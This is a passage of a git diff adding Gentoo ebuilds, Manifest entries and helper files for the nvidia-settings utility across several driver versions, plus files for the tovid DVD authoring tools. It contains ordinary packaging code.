c36d08361b8c902b6a6df840f2f368c9c6107d299921fcfc21d6be00dd9b3c0e SHA512 81604aa64d62afb3bf20b4333d2d86ad686d162f21551fb13a154be64eef8f864f918c455c0d5564a4e84c46a0ae8f1d4185556ee5faa0c627531a031339a42e WHIRLPOOL 57fd85225ca9cbadb164d2c7cf894133d286d44e9ea052844d095482aae61d297f10e3a920e263d3f51a8231cdcc179650f3e14b68ff60c5c99ee51ad9a89e1b +EBUILD nvidia-settings-304.88.ebuild 2124 SHA256 d17f2f904fefa91652133d443ad7f2798fe636eecc6ee2c61842c8f312be93a9 SHA512 52f3adc00efe2d700c9bd806182722380a5c5f280455530131df381e2fa0fe88e4471dbf840051fe8b446336794db96421b0e2125393703ec4964bde1e997282 WHIRLPOOL 47171584629f1d701575453f882eb66eb7d0dcdc6ba513c36ed71994b270a78d9609f82b83124995a8a5d00cdbb1d26d6d53623b658b78d91a4446b7ee51a448 +EBUILD nvidia-settings-310.19.ebuild 1558 SHA256 5c5cef6cb2ec65a5243755dd39b427ed89ec3417c91090708f849101aff37edd SHA512 4dc73ea79b8fa4c202ca0e0c75ef76178e8a79e178ea0792d7a9e4d83c372ca84d6e5a0d7d859a93b23446fc321eebf2357a25e6b0fed1a2a0f32e6f9bb50f1d WHIRLPOOL 4b7c0e4fb81d97edcd9ba4f4e793e2f192be61dbee120c9247b126d5ec906b9859f409cc03b136f1e71f2fd9151de73ed4af50b4d080cb7ca1343140215a9e2a +EBUILD nvidia-settings-313.30.ebuild 2003 SHA256 0e930e57bac62e0d8f1a2df56fe3d5e9c1fca5cb9fa7352874bd103ac31a44db SHA512 c3bc593587cddc9ca02736d6a641a7e7404e5227fb8b5828b7124854d35f59cc8db0795ea9b4baa2d06f975d5c1a8b8060e3b53d204baea511c2cfca4a476553 WHIRLPOOL bae876400f73691aa96435bab9e245813e900e9a91edbf85aef650f9733b108bfb56381a1a91a0426fd830da41e68ac407ffa9dc06af81d6e0a3cc39a7988410 +EBUILD nvidia-settings-325.15.ebuild 2028 SHA256 da27bdb190b3e53a423923ce7cffea8c45c1084b746624203ad6aa34dd3c627a SHA512 29a7dd16ae1b025466bcdca2d1863ccacacd7af7398615940abd8f797c472d05a34f3d269c8be939cb8de43cee66954691195933f691186d4a52771e9390aa35 WHIRLPOOL 9749983650382375a08945d65b9e8f056a29ca9ff58551718b546e561ba70117da6058723287ec612b0ec910ff3a9e6cf0d818bb3ccd4239bea0958bb46acc46 diff --git a/media-video/nvidia-settings/files/95-nvidia-settings b/media-video/nvidia-settings/files/95-nvidia-settings new file mode 100644 index 00000000..48c41d8a --- /dev/null +++ b/media-video/nvidia-settings/files/95-nvidia-settings @@ -0,0 +1,2 @@ +#!/bin/sh +/usr/bin/nvidia-settings --load-config-only diff --git a/media-video/nvidia-settings/files/nvidia-autostart.desktop b/media-video/nvidia-settings/files/nvidia-autostart.desktop new file mode 100644 index 00000000..5c6d7a4b --- /dev/null +++ b/media-video/nvidia-settings/files/nvidia-autostart.desktop @@ -0,0 +1,8 @@ +[Desktop Entry] +Type=Application +Name=NVIDIA X Server Settings +Comment=Configure NVIDIA X Server Settings +Exec=sh -c "/usr/bin/nvidia-settings --load-config-only" +Terminal=false +Icon=nvidia-settings +Categories=System;Settings; diff --git a/media-video/nvidia-settings/nvidia-settings-295.33.ebuild b/media-video/nvidia-settings/nvidia-settings-295.33.ebuild new file mode 100644 index 00000000..fe353232 --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-295.33.ebuild @@ -0,0 +1,72 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-256.52-r1.ebuild,v 1.1 2010/09/05 13:28:32 lxnay Exp $ + +EAPI=2 + +inherit eutils toolchain-funcs multilib flag-o-matic + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd" +IUSE="" + +# xorg-server is used in the depends as nvidia-settings builds against some +# headers in /usr/include/xorg/. +# This also allows us to optimize out a lot of the other dependancies, as +# between gtk and xorg-server, almost all libraries and headers are accounted +# for. +DEPEND=">=x11-libs/gtk+-2:2 + dev-util/pkgconfig + x11-base/xorg-server + x11-libs/libXt + x11-libs/libXv + x11-proto/xf86driproto + x11-proto/xf86vidmodeproto" + +RDEPEND=">=x11-libs/gtk+-2:2 + x11-base/xorg-server + x11-libs/libXt + x11-drivers/nvidia-drivers + !x11-drivers/nvidia-drivers[gtk]" + +src_prepare() { + sed -i -e "s#prefix = .*#prefix = ${D}/usr#" utils.mk +} + +src_compile() { + einfo "Building libXNVCtrl..." + cd "${S}/src/libXNVCtrl" + emake clean || die "Cleaning old libXNVCtrl failed" + append-flags -fPIC + emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!" + filter-flags -fPIC + + cd "${S}" + einfo "Building nVidia-Settings..." + emake CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings" +} + +src_install() { + emake STRIP_CMD=/bin/true install || die + + # Install libXNVCtrl and headers + insinto "/usr/$(get_libdir)" + doins src/libXNVCtrl/libXNVCtrl.a + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h + + # Install icon and .desktop entry + doicon "${S}/doc/${PN}.png" + sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop" + sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop" + sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop" + domenu "${S}/doc/${PN}.desktop" + + # Now install documentation + dodoc doc/*.txt +} diff --git a/media-video/nvidia-settings/nvidia-settings-295.40.ebuild b/media-video/nvidia-settings/nvidia-settings-295.40.ebuild new file mode 100644 index 00000000..fe353232 --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-295.40.ebuild @@ -0,0 +1,72 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-256.52-r1.ebuild,v 1.1 2010/09/05 13:28:32 lxnay Exp $ + +EAPI=2 + +inherit eutils toolchain-funcs multilib flag-o-matic + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd" +IUSE="" + +# xorg-server is used in the depends as nvidia-settings builds against some +# headers in /usr/include/xorg/. +# This also allows us to optimize out a lot of the other dependancies, as +# between gtk and xorg-server, almost all libraries and headers are accounted +# for. +DEPEND=">=x11-libs/gtk+-2:2 + dev-util/pkgconfig + x11-base/xorg-server + x11-libs/libXt + x11-libs/libXv + x11-proto/xf86driproto + x11-proto/xf86vidmodeproto" + +RDEPEND=">=x11-libs/gtk+-2:2 + x11-base/xorg-server + x11-libs/libXt + x11-drivers/nvidia-drivers + !x11-drivers/nvidia-drivers[gtk]" + +src_prepare() { + sed -i -e "s#prefix = .*#prefix = ${D}/usr#" utils.mk +} + +src_compile() { + einfo "Building libXNVCtrl..." + cd "${S}/src/libXNVCtrl" + emake clean || die "Cleaning old libXNVCtrl failed" + append-flags -fPIC + emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!" + filter-flags -fPIC + + cd "${S}" + einfo "Building nVidia-Settings..." + emake CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings" +} + +src_install() { + emake STRIP_CMD=/bin/true install || die + + # Install libXNVCtrl and headers + insinto "/usr/$(get_libdir)" + doins src/libXNVCtrl/libXNVCtrl.a + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h + + # Install icon and .desktop entry + doicon "${S}/doc/${PN}.png" + sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop" + sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop" + sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop" + domenu "${S}/doc/${PN}.desktop" + + # Now install documentation + dodoc doc/*.txt +} diff --git a/media-video/nvidia-settings/nvidia-settings-302.07.ebuild b/media-video/nvidia-settings/nvidia-settings-302.07.ebuild new file mode 100644 index 00000000..fe353232 --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-302.07.ebuild @@ -0,0 +1,72 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-256.52-r1.ebuild,v 1.1 2010/09/05 13:28:32 lxnay Exp $ + +EAPI=2 + +inherit eutils toolchain-funcs multilib flag-o-matic + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd" +IUSE="" + +# xorg-server is used in the depends as nvidia-settings builds against some +# headers in /usr/include/xorg/. +# This also allows us to optimize out a lot of the other dependancies, as +# between gtk and xorg-server, almost all libraries and headers are accounted +# for. +DEPEND=">=x11-libs/gtk+-2:2 + dev-util/pkgconfig + x11-base/xorg-server + x11-libs/libXt + x11-libs/libXv + x11-proto/xf86driproto + x11-proto/xf86vidmodeproto" + +RDEPEND=">=x11-libs/gtk+-2:2 + x11-base/xorg-server + x11-libs/libXt + x11-drivers/nvidia-drivers + !x11-drivers/nvidia-drivers[gtk]" + +src_prepare() { + sed -i -e "s#prefix = .*#prefix = ${D}/usr#" utils.mk +} + +src_compile() { + einfo "Building libXNVCtrl..." + cd "${S}/src/libXNVCtrl" + emake clean || die "Cleaning old libXNVCtrl failed" + append-flags -fPIC + emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!" + filter-flags -fPIC + + cd "${S}" + einfo "Building nVidia-Settings..." + emake CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings" +} + +src_install() { + emake STRIP_CMD=/bin/true install || die + + # Install libXNVCtrl and headers + insinto "/usr/$(get_libdir)" + doins src/libXNVCtrl/libXNVCtrl.a + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h + + # Install icon and .desktop entry + doicon "${S}/doc/${PN}.png" + sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop" + sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop" + sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop" + domenu "${S}/doc/${PN}.desktop" + + # Now install documentation + dodoc doc/*.txt +} diff --git a/media-video/nvidia-settings/nvidia-settings-304.22.ebuild b/media-video/nvidia-settings/nvidia-settings-304.22.ebuild new file mode 100644 index 00000000..42f9cf45 --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-304.22.ebuild @@ -0,0 +1,66 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils multilib toolchain-funcs + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd ~amd64-fbsd" +IUSE="examples" + +COMMON_DEPEND="x11-libs/libX11 + x11-libs/libXext + x11-libs/libXxf86vm + x11-libs/gtk+:2 + x11-libs/gdk-pixbuf[X] + media-libs/mesa + x11-libs/pango[X] + x11-libs/libXv + x11-libs/libXrandr + dev-libs/glib:2" + +RDEPEND="=x11-drivers/nvidia-drivers-3* + ${COMMON_DEPEND}" +DEPEND="${RDEPEND} + virtual/pkgconfig + x11-proto/xproto" + +src_compile() { + einfo "Building libXNVCtrl..." + emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :( + emake -C src/libXNVCtrl/ CC="$(tc-getCC)" RANLIB="$(tc-getRANLIB)" libXNVCtrl.a + + einfo "Building nvidia-settings..." + emake -C src/ CC="$(tc-getCC)" LD="$(tc-getLD)" STRIP_CMD="$(type -P true)" NV_VERBOSE=1 +} + +src_install() { + emake -C src/ DESTDIR="${D}" PREFIX=/usr install + + insinto /usr/$(get_libdir) + doins src/libXNVCtrl/libXNVCtrl.a + + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/*.h + +# doicon doc/${PN}.png # Installed through nvidia-drivers + make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings + + # bug 412569 - Installed through nvidia-drivers +# rm -rf "${D}"/usr/share/man + + dodoc doc/*.txt + + if use examples; then + docinto examples/ + dodoc samples/*.c + dodoc samples/README + fi +} diff --git a/media-video/nvidia-settings/nvidia-settings-304.60.ebuild b/media-video/nvidia-settings/nvidia-settings-304.60.ebuild new file mode 100644 index 00000000..956e1ce4 --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-304.60.ebuild @@ -0,0 +1,66 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-304.60.ebuild,v 1.2 2012/12/06 10:33:09 pinkbyte Exp $ + +EAPI=4 + +inherit eutils multilib toolchain-funcs + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* amd64 ~x86 ~x86-fbsd" +IUSE="examples" + +COMMON_DEPEND="x11-libs/libX11 + x11-libs/libXext + x11-libs/libXxf86vm + x11-libs/gtk+:2 + x11-libs/gdk-pixbuf[X] + media-libs/mesa + x11-libs/pango[X] + x11-libs/libXv + x11-libs/libXrandr + dev-libs/glib:2" + +RDEPEND="=x11-drivers/nvidia-drivers-3* + ${COMMON_DEPEND}" +DEPEND="${RDEPEND} + virtual/pkgconfig + x11-proto/xproto" + +src_compile() { + einfo "Building libXNVCtrl..." + emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :( + emake -C src/libXNVCtrl/ CC="$(tc-getCC)" RANLIB="$(tc-getRANLIB)" libXNVCtrl.a + + einfo "Building nvidia-settings..." + emake -C src/ CC="$(tc-getCC)" LD="$(tc-getLD)" STRIP_CMD="$(type -P true)" NV_VERBOSE=1 +} + +src_install() { + emake -C src/ DESTDIR="${D}" PREFIX=/usr install + + insinto /usr/$(get_libdir) + doins src/libXNVCtrl/libXNVCtrl.a + + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/*.h + +# doicon doc/${PN}.png # Installed through nvidia-drivers + make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings + + # bug 412569 - Installed through nvidia-drivers +# rm -rf "${D}"/usr/share/man + + dodoc doc/*.txt + + if use examples; then + docinto examples/ + dodoc samples/*.c + dodoc samples/README + fi +} diff --git a/media-video/nvidia-settings/nvidia-settings-304.88.ebuild b/media-video/nvidia-settings/nvidia-settings-304.88.ebuild new file mode 100644 index 00000000..3a93d39d --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-304.88.ebuild @@ -0,0 +1,69 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-256.52-r1.ebuild,v 1.1 2010/09/05 13:28:32 lxnay Exp $ + +EAPI=2 + +inherit eutils toolchain-funcs multilib flag-o-matic + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd" +IUSE="" + +# xorg-server is used in the depends as nvidia-settings builds against some +# headers in /usr/include/xorg/. +# This also allows us to optimize out a lot of the other dependancies, as +# between gtk and xorg-server, almost all libraries and headers are accounted +# for. +DEPEND=">=x11-libs/gtk+-2:2 + dev-util/pkgconfig + x11-base/xorg-server + x11-libs/libXt + x11-libs/libXv + x11-proto/xf86driproto + x11-proto/xf86vidmodeproto" + +RDEPEND=">=x11-libs/gtk+-2:2 + x11-base/xorg-server + x11-libs/libXt + x11-libs/pango[X]" + +src_compile() { + einfo "Building libXNVCtrl..." + cd "${S}/src/libXNVCtrl" + emake clean || die "Cleaning old libXNVCtrl failed" + append-flags -fPIC + emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!" + filter-flags -fPIC + + cd "${S}" + einfo "Building nVidia-Settings..." + emake CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings" +} + +src_install() { + emake STRIP_CMD=/bin/true PREFIX="${D}/usr" install || die + + # Install libXNVCtrl and headers + insinto "/usr/$(get_libdir)" + doins src/libXNVCtrl/libXNVCtrl.a + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h + + # Install icon and .desktop entry + doicon "${S}/doc/${PN}.png" + sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop" + sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop" + sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop" + domenu "${S}/doc/${PN}.desktop" + exeinto /etc/X11/xinit/xinitrc.d + doexe "${FILESDIR}"/95-nvidia-settings + + # Now install documentation + dodoc doc/*.txt +} diff --git a/media-video/nvidia-settings/nvidia-settings-310.19.ebuild b/media-video/nvidia-settings/nvidia-settings-310.19.ebuild new file mode 100644 index 00000000..42f9cf45 --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-310.19.ebuild @@ -0,0 +1,66 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils multilib toolchain-funcs + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd ~amd64-fbsd" +IUSE="examples" + +COMMON_DEPEND="x11-libs/libX11 + x11-libs/libXext + x11-libs/libXxf86vm + x11-libs/gtk+:2 + x11-libs/gdk-pixbuf[X] + media-libs/mesa + x11-libs/pango[X] + x11-libs/libXv + x11-libs/libXrandr + dev-libs/glib:2" + +RDEPEND="=x11-drivers/nvidia-drivers-3* + ${COMMON_DEPEND}" +DEPEND="${RDEPEND} + virtual/pkgconfig + x11-proto/xproto" + +src_compile() { + einfo "Building libXNVCtrl..." + emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :( + emake -C src/libXNVCtrl/ CC="$(tc-getCC)" RANLIB="$(tc-getRANLIB)" libXNVCtrl.a + + einfo "Building nvidia-settings..." + emake -C src/ CC="$(tc-getCC)" LD="$(tc-getLD)" STRIP_CMD="$(type -P true)" NV_VERBOSE=1 +} + +src_install() { + emake -C src/ DESTDIR="${D}" PREFIX=/usr install + + insinto /usr/$(get_libdir) + doins src/libXNVCtrl/libXNVCtrl.a + + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/*.h + +# doicon doc/${PN}.png # Installed through nvidia-drivers + make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings + + # bug 412569 - Installed through nvidia-drivers +# rm -rf "${D}"/usr/share/man + + dodoc doc/*.txt + + if use examples; then + docinto examples/ + dodoc samples/*.c + dodoc samples/README + fi +} diff --git a/media-video/nvidia-settings/nvidia-settings-313.30.ebuild b/media-video/nvidia-settings/nvidia-settings-313.30.ebuild new file mode 100644 index 00000000..8b52e042 --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-313.30.ebuild @@ -0,0 +1,69 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit eutils toolchain-funcs multilib flag-o-matic + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd" +IUSE="" + +# xorg-server is used in the depends as nvidia-settings builds against some +# headers in /usr/include/xorg/. +# This also allows us to optimize out a lot of the other dependancies, as +# between gtk and xorg-server, almost all libraries and headers are accounted +# for. +DEPEND=">=x11-libs/gtk+-2:2 + dev-util/pkgconfig + x11-base/xorg-server + x11-libs/libXt + x11-libs/libXv + x11-proto/xf86driproto + x11-proto/xf86vidmodeproto" + +RDEPEND=">=x11-libs/gtk+-2:2 + x11-base/xorg-server + x11-libs/libXt + x11-libs/pango[X]" + +src_compile() { + einfo "Building libXNVCtrl..." + cd "${S}/src/libXNVCtrl" + emake clean || die "Cleaning old libXNVCtrl failed" + append-flags -fPIC + emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!" + filter-flags -fPIC + + cd "${S}" + einfo "Building nVidia-Settings..." + emake CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings" +} + +src_install() { + emake STRIP_CMD=/bin/true PREFIX="${D}/usr" install || die + + # Install libXNVCtrl and headers + insinto "/usr/$(get_libdir)" + doins src/libXNVCtrl/libXNVCtrl.a + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h + + # Install icon and .desktop entry + doicon "${S}/doc/${PN}.png" + sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop" + sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop" + sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop" + domenu "${S}/doc/${PN}.desktop" + exeinto /etc/X11/xinit/xinitrc.d + doexe "${FILESDIR}"/95-nvidia-settings + + # Now install documentation + dodoc doc/*.txt +} diff --git a/media-video/nvidia-settings/nvidia-settings-325.15.ebuild b/media-video/nvidia-settings/nvidia-settings-325.15.ebuild new file mode 100644 index 00000000..fd52276f --- /dev/null +++ b/media-video/nvidia-settings/nvidia-settings-325.15.ebuild @@ -0,0 +1,76 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit eutils toolchain-funcs multilib flag-o-matic + +DESCRIPTION="NVIDIA Linux X11 Settings Utility" +HOMEPAGE="http://www.nvidia.com/" +SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd" +IUSE="" + +# xorg-server is used in the depends as nvidia-settings builds against some +# headers in /usr/include/xorg/. +# This also allows us to optimize out a lot of the other dependancies, as +# between gtk and xorg-server, almost all libraries and headers are accounted +# for. +DEPEND=">=x11-libs/gtk+-2:2 + dev-util/pkgconfig + x11-base/xorg-server + x11-libs/libXt + x11-libs/libXv + x11-proto/xf86driproto + x11-proto/xf86vidmodeproto" + +RDEPEND=">=x11-libs/gtk+-2:2 + x11-base/xorg-server + x11-libs/libXt + x11-libs/pango[X]" + +src_compile() { + einfo "Building libXNVCtrl..." + emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :( + emake -C src/libXNVCtrl/ \ + CC="$(tc-getCC)" \ + AR="$(tc-getAR)" \ + RANLIB="$(tc-getRANLIB)" \ + libXNVCtrl.a + + einfo "Building nvidia-settings..." + emake -C src/ \ + CC="$(tc-getCC)" \ + LD="$(tc-getLD)" \ + STRIP_CMD="$(type -P true)" \ + NV_VERBOSE=1 \ + USE_EXTERNAL_JANSSON=1 +} + +src_install() { + emake -C src/ DESTDIR="${D}" PREFIX=/usr USE_EXTERNAL_JANSSON=1 install + + insinto /usr/$(get_libdir) + doins src/libXNVCtrl/libXNVCtrl.a + + insinto /usr/include/NVCtrl + doins src/libXNVCtrl/*.h + + doicon doc/${PN}.png + make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings + + dodoc doc/*.txt + + # Install icon and .desktop entry + doicon "${S}/doc/${PN}.png" + sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop" + sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop" + sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop" + domenu "${S}/doc/${PN}.desktop" + exeinto /etc/X11/xinit/xinitrc.d + doexe "${FILESDIR}"/95-nvidia-settings +} diff --git a/media-video/tovid/Manifest b/media-video/tovid/Manifest new file mode 100644 index 00000000..4c256fa1 --- /dev/null +++ b/media-video/tovid/Manifest @@ -0,0 +1,5 @@ +DIST tovid-0.34.tar.gz 512950 RMD160 417b1c29d634f03aa6667407826f2e2dbd5175b0 SHA1 e652b9b402174d8c81a2e3b9962c17d25f4feefa SHA256 f95d14ffbd2bd491751b529b09fb27ae45e24af1ad44c87b25bac9c1a184f4ee +DIST tovid-0.34_p20120123.tar.gz 1008271 RMD160 e7679043a6845e176c24c0dad872117a04dc3ce1 SHA1 0ca25885882633b152ddb800b3500ee8f7148b3f SHA256 941d3ca7aeb68fe306fb41aa1e97d4524f3ce8e340e83a249257f11755084186 +EBUILD tovid-0.34.ebuild 1361 RMD160 384d0de4b25c7f5c9a445157e3ed21572c29e296 SHA1 bbe26ecb9058afaa9d1f1655342dcd49b16bc6fc SHA256 fd32acb24c8ed6c3bc2c0675ecd5413d64982e1d17ee98123a26a4600f0e6fef +EBUILD tovid-0.34_p20120123.ebuild 1460 RMD160 87b5d833e60fc04c6e25428eb6676ad02784b39b SHA1 5075da9673be3fa47e5311019bcf1871fceab835 SHA256 83b22a161ca74a1f81c33a43ea3d2ef131556d95b46f8f0dd3258327772c2d06 +MISC metadata.xml 158 RMD160 d91ff64b3e5f86657b8b6ba02c41a26247a2fac7 SHA1 9ac37da489ebe6e58e32fe8e037b1ef2d99c6638 SHA256 f9dd4fb4a7f368e776ea0d7d394dad8f3a674e67f6103d6fb58a8a98971eeee4 diff --git a/media-video/tovid/metadata.xml b/media-video/tovid/metadata.xml new file mode 100644 index 00000000..d9df1878 --- /dev/null +++ b/media-video/tovid/metadata.xml @@ -0,0 +1,5 @@ + + + +video + diff --git a/media-video/tovid/tovid-0.34.ebuild b/media-video/tovid/tovid-0.34.ebuild new file mode 100644 index 00000000..dedacf4d --- /dev/null +++ b/media-video/tovid/tovid-0.34.ebuild @@ -0,0 +1,61 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-video/tovid/tovid-0.34.ebuild,v 1.2 2011/11/12 16:12:43 ssuominen Exp $ + +EAPI=3 + +PYTHON_DEPEND="2:2.6" +SUPPORT_PYTHON_ABIS="1" +RESTRICT_PYTHON_ABIS="3.*" + +inherit distutils gnome2-utils + +DESCRIPTION="A collection of DVD authoring tools" +HOMEPAGE="http://tovid.wikia.com/wiki/Tovid_Wiki" +SRC_URI="http://${PN}.googlecode.com/files/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RDEPEND="app-cdr/cdrdao + app-cdr/dvd+rw-tools + || ( =dev-lang/python-tk-2.7* =dev-lang/python-tk-2.6* ) + dev-python/pycairo + dev-python/imaging + dev-tcltk/tix + || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] ) + media-sound/normalize + >=media-sound/sox-14.3.2 + media-video/dvdauthor + >=media-video/mjpegtools-2.0.0 + >=media-video/mplayer-1.0_rc4_p20110101 + >=media-video/transcode-1.1.5 + media-video/vcdimager + sys-devel/bc + virtual/ffmpeg" +DEPEND="app-text/txt2tags" + +DOCS="AUTHORS ChangeLog README" + +src_install() { + distutils_src_install + + # punt at least .install.log + find "${ED}" -name '*.log' -exec rm -f {} + +} + +pkg_preinst() { + gnome2_icon_savelist +} + +pkg_postinst() { + distutils_pkg_postinst + gnome2_icon_cache_update +} + +pkg_postrm() { + distutils_pkg_postrm + gnome2_icon_cache_update +} diff --git a/media-video/tovid/tovid-0.34_p20120123.ebuild b/media-video/tovid/tovid-0.34_p20120123.ebuild new file mode 100644 index 00000000..45c0ae73 --- /dev/null +++ b/media-video/tovid/tovid-0.34_p20120123.ebuild @@ -0,0 +1,65 @@ +# 